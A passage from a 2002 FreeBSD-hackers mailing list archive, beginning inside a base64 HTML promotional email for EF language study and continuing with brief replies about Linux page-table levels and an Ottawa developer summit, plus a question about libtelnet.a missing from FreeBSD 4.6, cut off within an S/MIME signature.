PGh0bWw+Cgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50 PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9ZXVjLWtyIj4KPHRpdGxlPjEgICAgIL26v/61p8C7IMb3 x9THz7+pIMD8ILy8sOgguPC15yC757mrvcfAuyDB97+1x9TAuLfOIMOlwNPA1rTCIL72sN3H 0SC8rbrxvbogwaaw+DwvdGl0bGU+CjxTVFlMRSBUWVBFPSJ0ZXh0L2NzcyI+Ci5nMSAgICAg e2ZvbnQtZmFtaWx5IDogIrG8uLIiOyBmb250LXNpemUgOiA5cHQ7IGxpbmUtaGVpZ2h0OjEx cHQ7fQouZzIgICAgIHtmb250LWZhbWlseSA6ICKxvLiyIjsgZm9udC1zaXplIDogMTJwdDsg bGluZS1oZWlnaHQ6MTZwdDt9Ci5nMyAgICAge2ZvbnQtZmFtaWx5IDogIrG8uLIiOyBmb250 LXNpemUgOiA5cHQ7IGxpbmUtaGVpZ2h0OjExcHQ7fQouZTEgICAgIHtmb250LWZhbWlseSA6 ICJhcmlhbCwgaGVsdmV0aWNhLCBtcyBzYW5zIHNlcmlmIiA7IGZvbnQtc2l6ZSA6IDlwdDsg bGluZS1oZWlnaHQ6MTFwdDt9Ci5zYmJ0bjAxe2NvbG9yIDogI2ZmZmZmNzsgYmFja2dyb3Vu ZC1jb2xvcjogIzUyOGNhNTsgY3Vyc29yOmhhbmQ7IGZvbnQtc2l6ZTogMTBwdDsgZm9udC13 ZWlnaHQ6IGJvbGQ7IH0KSU5QVVQgICB7YmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmNzsgY29s b3I6YmxhY2s7Rk9OVC1zaXplOiAxMHB0O30KU0VMRUNUICB7YmFja2dyb3VuZC1jb2xvciA6 ICNmZmZmZjc7IH0KPCEtLQoKYTpsaW5rCSAgIHsgZm9udC1zaXplOjlwdDsgdGV4dC1kZWNv cmF0aW9uOiBub25lOyBjb2xvcjoiMDAwMDAwIiB9CmE6dmlzaXRlZCAgeyBmb250LXNpemU6 OXB0OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiI4ODg4ODgiIH0KYTpob3Zlcgkg ICB7IGZvbnQtc2l6ZTo5cHQ7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjoi ZmYwMDAwIiB9CnRkIHtmb250LXNpemU6OXB0O30KCi0tPgo8L1NUWUxFPgoKPC9oZWFkPgoK PGJvZHkgYmdjb2xvcj0jRDVFMEY0IHRleHQ9ImJsYWNrIiBsaW5rPSJibHVlIiB2bGluaz0i cHVycGxlIiBhbGluaz0icmVkIj48Y2VudGVyPgo8QlI+CiAgICA8YSBocmVmPSJodHRwOi8v d3d3LmVmLmNvbS9rciIgdGFyZ2V0PSJuZXciPjxpbWcgc3JjPSJodHRwOi8vd3d3LmVmLmNv LmtyL2ltZy9FRl9sb2dvXzUxeDUxLmdpZiIgd2lkdGg9IjYwIiBoZWlnaHQ9IjYwIiBib3Jk ZXI9IjAiPjxpbWcgc3JjPSJodHRwOi8vd3d3LmVmLmNvLmtyL2ltZy9lZmJhbm5lci5naWYi IHdpZHRoPSI0NjgiIGhlaWdodD0iNjAiIGJvcmRlcj0iMCI+PC9hPjxUQUJMRSBjZWxsU3Bh Y2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9NTg3IGJvcmRlcj0wPgo8VEJPRFk+CjxUUj4K PFREIHdpZHRoPTIyOD48SU1HIGhlaWdodD01MSBzcmM9Imh0dHA6Ly93d3cuZWYuY28ua3Iv aW1nL25ld3MwMjEzdG9wLmdpZiIgd2lkdGg9MjI4PjwvVEQ+CjxURCBhbGlnbj1yaWdodCB3 aWR0aD0zMjggYmFja2dyb3VuZD1odHRwOi8vd3d3LmVmLmNvLmtyL2ltZy9ib3JkZXJfdG9w XzJ4NTEuZ2lmIApoZWlnaHQ9NTE+Jm5ic3A7PC9URD4KPFREIHdpZHRoPTMxPjxJTUcgaGVp Z2h0PTUxIHNyYz0iaHR0cDovL3d3dy5lZi5jby5rci9pbWcvY29ybmVyX3RyXzMxeDUxLmdp ZiIgd2lkdGg9MzEgCmJvcmRlcj0wPjwvVEQ+PC9UUj4KPFRSPgo8VEQ+PGEgaHJlZj0iaHR0 cDovL3d3dy5lZi5jb20vZGVmYXVsdC5hc3A/Y291bnRyeT1LUiZhbXA7dXNlcmdyb3VwPUhT Q0gmYW1wO2V0YWc9RUZDT00yMDY0JmFtcDtnb3RvPS9oc3kvbmV3cy9wcm9tby5hc3AiIHRh cmdldD0iX2JsYW5rIj48SU1HIGhlaWdodD0xMDggc3JjPSJodHRwOi8vd3d3LmVmLmNvLmty L2ltZy9uZXdzMDIxM21pZGRsZS5qcGciIHdpZHRoPTIyOCAKYm9yZGVyPTA+PC9hPjwvVEQ+ CjxURCB2QWxpZ249InRvcCIgYmdDb2xvcj0jZmZmZmZmPgogICAgICAgICAgICAgICAgPHA+ PGltZyBzcmM9Imh0dHA6Ly93d3cuZWYuY28ua3IvaW1nL2VmX2ludHJvLmdpZiIgd2lkdGg9 IjMxMCIgaGVpZ2h0PSI5OSIgYm9yZGVyPSIwIj48L3A+CjwvVEQ+CjxURCAKYmFja2dyb3Vu ZD1odHRwOi8vYTc0NC5nLmFrYW1haS5uZXQvNy83NDQvMzU4LzAwMS93d3cuZWYuY29tL19p bWdzL21haWwvcHJvbW9zL2hzeS8xMS0wMS9ib3JkZXJfcnRfMzF4MS5naWY+PElNRyAKaGVp Z2h0PTEgCnNyYz0iaHR0cDovL2E3NDQuZy5ha2FtYWkubmV0LzcvNzQ0LzM1OC8wMDEvd3d3 LmVmLmNvbS9faW1ncy91aS90cmFucy5naWYiIAp3aWR0aD0zMT48L1REPjwvVFI+CjxUUj4K PFREIGNvbFNwYW49Mz48SU1HIGhlaWdodD0yMiBzcmM9Imh0dHA6Ly93d3cuZWYuY28ua3Iv aW1nL3JpbmdzXzU4N3gyMi5naWYiIAp3aWR0aD01ODc+PC9URD48L1RSPjwvVEJPRFk+PC9U QUJMRT4KPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD01ODcgYmdD b2xvcj0jZjhmOWZkIGJvcmRlcj0wPgo8VEJPRFk+CjxUUj4KPFREIHdpZHRoPTMxIApiYWNr Z3JvdW5kPWh0dHA6Ly9hNzQ0LmcuYWthbWFpLm5ldC83Lzc0NC8zNTgvMDAxL3d3dy5lZi5j b20vX2ltZ3MvbWFpbC9wcm9tb3MvaHN5LzExLTAxL2JvcmRlcl9sdF8zMXgxLmdpZj48Zm9u dCBjb2xvcj0iIzAwMDA5OSI+PElNRyAKaGVpZ2h0PTEgCnNyYz0iaHR0cDovL2E3NDQuZy5h a2FtYWkubmV0LzcvNzQ0LzM1OC8wMDEvd3d3LmVmLmNvbS9faW1ncy91aS90cmFucy5naWYi IAp3aWR0aD0zMT48L2ZvbnQ+PC9URD4KPFREIHdpZHRoPTUyNT4KICAgICAgICAgICAgICAg ICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGhlaWdodD0iMTAwJSIgY2VsbHBh ZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAg ICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgY29sb3I9 IiMwMDAwOTkiPiZuYnNwOzxicj4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zv bnQ+PGZvbnQgY29sb3I9IiMwMDAwOTkiIGZhY2U9IrW4v/IiPlu+yCCzu10gCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAmbmJzcDs8L2ZvbnQ+PEZPTlQgc2l6ZT0yIGNvbG9yPSIj MDAwMDk5IiBmYWNlPSK1uL/yIj6xzcfPwMcguN7Az8HWvNK0wiDApbytx87B3yC+y7DUtciw zcDMuOcsILjewM/B1rzSv9y/oSwgtNm4pSAKICAgICAgICAgICAgICAgICAgICAgICAgICAg IMGkuri0wiCwrrDtIMDWwfYgvsq9wLTPtNkuIArAzLjewM/AuiC5373FwPy/67jewM/AzLjn IMGkxeu6ziCxx7Dtu+fH17+hwMewxSBbsaSw7V2287DtIMelseLH0SC43sDPwNS0z7TZLiA8 Qj689r3FsMW6zjwvQj64piC6uLO7wda9w7jpILTZvcO0wiC6uLO7tMIgCsDPwMwgvvi1tbfP IMfPsNq9wLTPtNkuIDxicj48L0ZPTlQ+PGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAg ICAgPGltZyBzcmM9Imh0dHA6Ly93d3cuZWYuY28ua3IvaW1nL2VmMS5naWYiIHdpZHRoPSIz MDAiIGhlaWdodD0iMzUiPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAg ICAgICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDs8Yj5FRrTCPC9iPiAKICAg ICAgICAgICAgICAgICAgICAgICAgRWR1Y2F0aW9uIEZpcnN0wMcgvuDA2rfOIDY1s+Igvbq/ /rWnv6G8rSC8s7iztcggvLyw6CDD1rTrwMcgvu7H0CC/rLz2IMfQsbPA1LTPtNkuIAogICAg ICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICZuYnNw OyZuYnNwO8fYtOcgvvC+7rChILvnv+u1x7TCILOqtvO/obytILD4us7Hz7jpvK0gvvC+7iDH 0L3AsPogvK23ziC02bilILmuyK3DvMfowLsgCiAgICAgICAgICAgICAgICAgICAgICAgIMXr x9ggs6q287/NIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgJm5ic3A7Jm5ic3A7s6q2 87CjLCC5zsG3sPoguc7Bt7Cjv6Egsde+7sGuIMDWtMIgwOW6rsC7IMfjubDA2rTCILDNwMwg RUbAxyC48MXkwNS0z7TZLjxicj4mbmJzcDs8YnI+IAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgJm5ic3A7PGZvbnQgY29sb3I9ImJsdWUiPiZuYnNwOzxpbWcgc3JjPSJodHRwOi8v d3d3Lndvcmtpbmdob2xpZGF5Lm5ldC9rb3JlYW4vYm9hcmQvaW1hZ2UvYXJyb3c2LmdpZiIg d2lkdGg9IjEyIiBoZWlnaHQ9IjExIiBib3JkZXI9IjAiPiAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvZm9udD48YSBocmVmPSJodHRwOi8vd3d3LmVmLmNvLmtyL2tvcmVhbi9p bnRyb2R1Y3Rpb24va19oaXN0b3J5Lmh0bSIgdGFyZ2V0PSJuZXciPjxmb250IGNvbG9yPSJi bHVlIj7IuLvnIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgvNKwszwvZm9udD48L2E+ PGZvbnQgY29sb3I9ImJsdWUiPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW1nIHNyYz0i aHR0cDovL3d3dy53b3JraW5naG9saWRheS5uZXQva29yZWFuL2JvYXJkL2ltYWdlL2Fycm93 Ni5naWYiIHdpZHRoPSIxMiIgaGVpZ2h0PSIxMSIgYm9yZGVyPSIwIj4gCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAmbmJzcDs8L2ZvbnQ+PGEgaHJlZj0iaHR0cDovL3d3dy5lZi5j by5rci9rb3JlYW4vaW50cm9kdWN0aW9uL2tfYnJhbmNoLmh0bSIgdGFyZ2V0PSJuZXciPjxm b250IGNvbG9yPSJibHVlIj5FRiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIMH2u+e8 0rCzICZuYnNwOzwvZm9udD48L2E+PGZvbnQgY29sb3I9ImJsdWUiPiZuYnNwOzwvZm9udD48 L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRy PgogICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiPgogICAgICAg ICAgICAgICAgICAgICAgICA8YnI+PGltZyBzcmM9Imh0dHA6Ly93d3cuZWYuY28ua3IvaW1n L2VmMi5naWYiIHdpZHRoPSIzMDAiIGhlaWdodD0iMzUiIGJvcmRlcj0iMCI+Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7PGJyPgogICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAg ICAgICAgICAgICAgICAgICAgIDxJTUcgaGVpZ2h0PTEyIHNyYz0iaHR0cDovL3d3dy5lZi5j by5rci9rb3JlYW4vaW1nL2J1bGxldF8wMS5naWYiIHdpZHRoPTEyPjxhIGhyZWY9Imh0dHA6 Ly93d3cuZWYuY28ua3Iva29yZWFuL3lvdW5nL3lvdW5nLmh0bSIgdGFyZ2V0PSJuZXciPjxi Pjxmb250IGNvbG9yPSJibHVlIj7Du7zSs+IgCiAgICAgICAgICAgICAgICAgICAgICAgIL7u x9Agv6y89jwvZm9udD48L2I+PC9hPiA6IDPB1iC+7sfQIL+svPYgKyAxwdYgsPyxpAogICAg ICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxJTUcg aGVpZ2h0PTEyIHNyYz0iaHR0cDovL3d3dy5lZi5jby5rci9rb3JlYW4vaW1nL2J1bGxldF8w MS5naWYiIHdpZHRoPTEyPjxhIGhyZWY9Imh0dHA6Ly93d3cuZWYuY28ua3Iva29yZWFuL3No b3J0L3NfNWNvdW50cnkuaHRtIiB0YXJnZXQ9Im5ldyI+PGI+PGZvbnQgY29sb3I9ImJsdWUi PrTcseIgCiAgICAgICAgICAgICAgICAgICAgICAgILD6waQ8L2ZvbnQ+PC9iPiA8L2E+OiAm bmJzcDsyNL3DsKMgv9yxub7ut864uCC7/ciwx9IgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICC89iDA1rTCIMivsOaw+iC/+L7uuc4gsbO89sH4CiAgICAgICAgICAgICAgICAgICAg ICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPElNRyBoZWlnaHQ9MTIgc3JjPSJo dHRwOi8vd3d3LmVmLmNvLmtyL2tvcmVhbi9pbWcvYnVsbGV0XzAxLmdpZiIgd2lkdGg9MTI+ PGI+PGEgaHJlZj0iaHR0cDovL3d3dy5lZi5jby5rci9rb3JlYW4vbG9uZy9zXzVjb3VudHJ5 Lmh0bSIgdGFyZ2V0PSJuZXciPjxmb250IGNvbG9yPSJibHVlIj44fjkgCiAgICAgICAgICAg ICAgICAgICAgICAgILCzv/kgwOWx4iCw+sGkPC9mb250PjwvYT48L2I+PGEgaHJlZj0iaHR0 cDovL3d3dy5lZi5jby5rci9rb3JlYW4vbG9uZy9zXzVjb3VudHJ5Lmh0bSIgdGFyZ2V0PSJu ZXciPiA8L2E+OiDB/cHfwPvAziC+8L7uvPa+97D6IMf2wfYgua7IrSDDvMfoLCC/1bq5x9ew +LfhsKEgxvfH1LXIIMD6t8XH0SC68b/rPGJyPjxJTUcgaGVpZ2h0PTEyIHNyYz0iaHR0cDov L3d3dy5lZi5jby5rci9rb3JlYW4vaW1nL2J1bGxldF8wMS5naWYiIHdpZHRoPTEyPjxiPjxh IGhyZWY9Imh0dHA6Ly93d3cuZWYuY28ua3Iva29yZWFuL2V4X3MvZXhfcy5odG1sIiB0YXJn ZXQ9Im5ldyI+PGZvbnQgY29sb3I9ImJsdWUiPrnMsbkgCiAgICAgICAgICAgICAgICAgICAg ICAgILD4uLOw7bXux9CxsyCxs8ivIMfQu/08L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSJibHVl Ij4gPC9mb250PjwvYj46IMf2wfYgwNq/+LrAu+cguc652rChwaS/obytwMcgvPe9xLD6IMf2 wfYgx9C7/bXpsPogsPi6zjxicj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwv dHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRk IGJnY29sb3I9IiNGRkZGRkYiPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFs aWduPSJjZW50ZXIiPjxicj48YnI+PGEgaHJlZj0iaHR0cDovL3d3dy5lZi5jb20va3IiIHRh cmdldD0ibmV3Ij48aW1nIHNyYz0iaHR0cDovL3d3dy5lZi5jby5rci9pbWcvYnVsbGV0XzAx LmdpZiIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIzNiIgYm9yZGVyPSIwIj48L2E+PGJyPiZuYnNw OzwvcD4KPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAg ICA8L3RhYmxlPgo8L1REPgo8VEQgd2lkdGg9MzEgCmJhY2tncm91bmQ9aHR0cDovL2E3NDQu Zy5ha2FtYWkubmV0LzcvNzQ0LzM1OC8wMDEvd3d3LmVmLmNvbS9faW1ncy9tYWlsL3Byb21v cy9oc3kvMTEtMDEvYm9yZGVyX3J0Ml8zMXgxLmdpZj48SU1HIApoZWlnaHQ9MSAKc3JjPSJo dHRwOi8vYTc0NC5nLmFrYW1haS5uZXQvNy83NDQvMzU4LzAwMS93d3cuZWYuY29tL19pbWdz L3VpL3RyYW5zLmdpZiIgCndpZHRoPTMxPjwvVEQ+PC9UUj48L1RCT0RZPjwvVEFCTEU+CjxU QUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9NTg3IGJvcmRlcj0wPgo8 VEJPRFk+CjxUUj4KPFREIHdpZHRoPTMxPjxJTUcgaGVpZ2h0PTMxIHNyYz0iaHR0cDovL3d3 dy5lZi5jby5rci9pbWcvY29ybmVyX2JsXzMxeDMxLmdpZiIgCndpZHRoPTMxPjwvVEQ+CjxU RCB3aWR0aD01MjUgCmJhY2tncm91bmQ9aHR0cDovL2E3NDQuZy5ha2FtYWkubmV0LzcvNzQ0 LzM1OC8wMDEvd3d3LmVmLmNvbS9faW1ncy9tYWlsL3Byb21vcy9oc3kvMTEtMDEvYm9yZGVy X2J0bV8xeDMxLmdpZj48L1REPgo8VEQgd2lkdGg9MzE+PElNRyBoZWlnaHQ9MzEgc3JjPSJo dHRwOi8vd3d3LmVmLmNvLmtyL2ltZy9jb3JuZXJfYnJfMzF4MzEuZ2lmIiAKd2lkdGg9MzE+ PC9URD48L1RSPjwvVEJPRFk+PC9UQUJMRT4KPHA+Jm5ic3A7PC9wPgo8L2JvZHk+Cgo8L2h0 bWw+Cgo= ------=_NextPart_000_0037_01C0F20A.93A17C00-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 11:26:37 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5D8B637B647 for ; Wed, 26 Jun 2002 11:24:30 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5QIOTl1022047; Wed, 26 Jun 2002 11:24:29 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5QIOTLi022046; Wed, 26 Jun 2002 11:24:29 -0700 (PDT) (envelope-from dillon) Date: Wed, 26 Jun 2002 11:24:29 -0700 (PDT) From: Matthew Dillon Message-Id: <200206261824.g5QIOTLi022046@apollo.backplane.com> To: Christoph Hellwig Cc: Terry Lambert , Peter Wemm , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625222632.B7C7D3811@overcee.wemm.org> <3D1970E7.697D4A49@mindspring.com> <200206260758.g5Q7wPgZ019100@apollo.backplane.com> <3D198D71.86779927@mindspring.com> <200206261711.g5QHBsFH021462@apollo.backplane.com> <20020626191246.A21764@infradead.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :[commenting live from ottawa] : :On Wed, Jun 26, 2002 at 10:11:54AM -0700, Matthew Dillon wrote: :> They are still using a 2 level page table scheme in the linux :> kernel. That is, they didn't try to integrate the 3-level hardware :> in the hammer with the 2 level kernel representation. What they did :> was create a fixed third level (or a fixed first level depending on how :> you look at it). As far as Linux is concerned it is still a two-level :> page table. : :just replace two with three and three with four everywhere and you're right :) Heh. Right! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 11:29:49 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id E025D37B4A1 for ; Wed, 26 Jun 2002 11:24:47 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5QIOll1022055; Wed, 26 Jun 2002 11:24:47 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5QIOlMQ022054; Wed, 26 Jun 2002 11:24:47 -0700 (PDT) (envelope-from dillon) Date: Wed, 26 Jun 2002 11:24:47 -0700 (PDT) From: Matthew Dillon Message-Id: <200206261824.g5QIOlMQ022054@apollo.backplane.com> To: Christoph Hellwig Cc: Terry Lambert , Peter Wemm , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625222632.B7C7D3811@overcee.wemm.org> <3D1970E7.697D4A49@mindspring.com> <200206260758.g5Q7wPgZ019100@apollo.backplane.com> <3D198D71.86779927@mindspring.com> <200206261711.g5QHBsFH021462@apollo.backplane.com> <20020626191246.A21764@infradead.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :[commenting live from ottawa] Pictures! We want pictures! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 11:40:13 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from tesla.distributel.net (nat.MTL.distributel.NET [66.38.181.24]) by hub.freebsd.org (Postfix) with ESMTP id DBE8A37B923 for ; Wed, 26 Jun 2002 11:37:20 -0700 (PDT) Received: (from bmilekic@localhost) by tesla.distributel.net (8.11.6/8.11.6) id g5QIXx743482; Wed, 26 Jun 2002 14:33:59 -0400 (EDT) (envelope-from bmilekic@unixdaemons.com) Date: Wed, 26 Jun 2002 14:33:59 -0400 From: Bosko Milekic To: Matthew Dillon Cc: Christoph Hellwig , Terry Lambert , Peter Wemm , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... Message-ID: <20020626143359.A43472@unixdaemons.com> References: <20020625222632.B7C7D3811@overcee.wemm.org> <3D1970E7.697D4A49@mindspring.com> <200206260758.g5Q7wPgZ019100@apollo.backplane.com> <3D198D71.86779927@mindspring.com> <200206261711.g5QHBsFH021462@apollo.backplane.com> <20020626191246.A21764@infradead.org> <200206261824.g5QIOlMQ022054@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200206261824.g5QIOlMQ022054@apollo.backplane.com>; from dillon@apollo.backplane.com on Wed, Jun 26, 2002 at 11:24:47AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Jun 26, 2002 at 11:24:47AM -0700, Matthew Dillon wrote: > > :[commenting live from ottawa] > > Pictures! We want pictures! It's pretty cool that the Linux camp has decided to do the Summit stuff too (I'm assuming that this is a relatively new phenomenon). What's even cooler is that they picked Ottawa. I think I may be in Ottawa this weekend (Canada Day is then), so if it's still going on then, or if something else is planned, I would love to attend - if you folks don't mind a BSD developer hanging around. :-) > -Matt > Matthew Dillon > Regards, -- Bosko Milekic bmilekic@unixdaemons.com bmilekic@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 16:17:15 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id 74EC337B9EC for ; Wed, 26 Jun 2002 16:05:44 -0700 (PDT) Received: from isi.edu (a829fy4epzmyi86w@hbo.isi.edu [128.9.160.75]) by boreas.isi.edu (8.11.6/8.11.2) with ESMTP id g5QN5Vr04894 for ; Wed, 26 Jun 2002 16:05:31 -0700 (PDT) Message-ID: <3D1A48BB.4030603@isi.edu> Date: Wed, 26 Jun 2002 16:05:31 -0700 From: Lars Eggert User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.0.0) Gecko/20020618 X-Accept-Language: en-us, de-de MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: /usr/lib/libtelnet.a missing on 4.6? Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms010601000904070405080908" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a cryptographically signed message in MIME format. --------------ms010601000904070405080908 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit [Originally posted to -net, but it looks like -hackers is a better place for it.] Hi, I'm trying to build the latest KAME SNAP, and the build fails, because /usr/lib/libtelnet.a is missing on a freshly installed 4.6-RELEASE system (installed from CD). None of our 4.6 systems has it, all of our 4.5 systems do. Is this a bug of the ISO image, or a deliberate change? Thanks, Lars -- Lars Eggert USC Information Sciences Institute --------------ms010601000904070405080908 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIIrjCC ArUwggIeoAMCAQICAwWBRzANBgkqhkiG9w0BAQIFADCBkjELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUx HTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVl bWFpbCBSU0EgMjAwMC44LjMwMB4XDTAxMDgyNDE2NDAwMFoXDTAyMDgyNDE2NDAwMFowVDEP MA0GA1UEBBMGRWdnZXJ0MQ0wCwYDVQQqEwRMYXJzMRQwEgYDVQQDEwtMYXJzIEVnZ2VydDEc MBoGCSqGSIb3DQEJARYNbGFyc2VAaXNpLmVkdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC gYEA0AvLBsD78nxcUHeHkaMgl3b4qYPnfgbf8Lh+HQP8RgGMRG/Yb+vTpkGezlwt9pkJxiD1 1uZDy4CNNJUu3gKxKSb+zRV70O+lkwwftuHoLHoH4xwo3LcQ2LGDpd+I95tUN4dfJ3TmeEcU SF50dC/SuUI4w8AlhXQ8IxrhgdayTpECAwEAAaNWMFQwKgYFK2UBBAEEITAfAgEAMBowGAIB BAQTTDJ1TXlmZkJOVWJOSkpjZFoyczAYBgNVHREEETAPgQ1sYXJzZUBpc2kuZWR1MAwGA1Ud EwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAheZhn0pQA8zI7U2K1ZIAl11j0a1DKxnp3GtT vOUrGRB3WvYxidvdZ1kizhEsWeXU81TkNDH0DaRqtOEeu6Q2OhB+jeKEqY7IDAJE4/fI0e+d 6PnG1hd+vEvYmsKHkmzBhPc94XUOKNWO+qVNP2NGyNI3QIDy5wX4fdcOo1S34r4wggK1MIIC HqADAgECAgMFgUcwDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxX ZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYD VQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwg UlNBIDIwMDAuOC4zMDAeFw0wMTA4MjQxNjQwMDBaFw0wMjA4MjQxNjQwMDBaMFQxDzANBgNV BAQTBkVnZ2VydDENMAsGA1UEKhMETGFyczEUMBIGA1UEAxMLTGFycyBFZ2dlcnQxHDAaBgkq 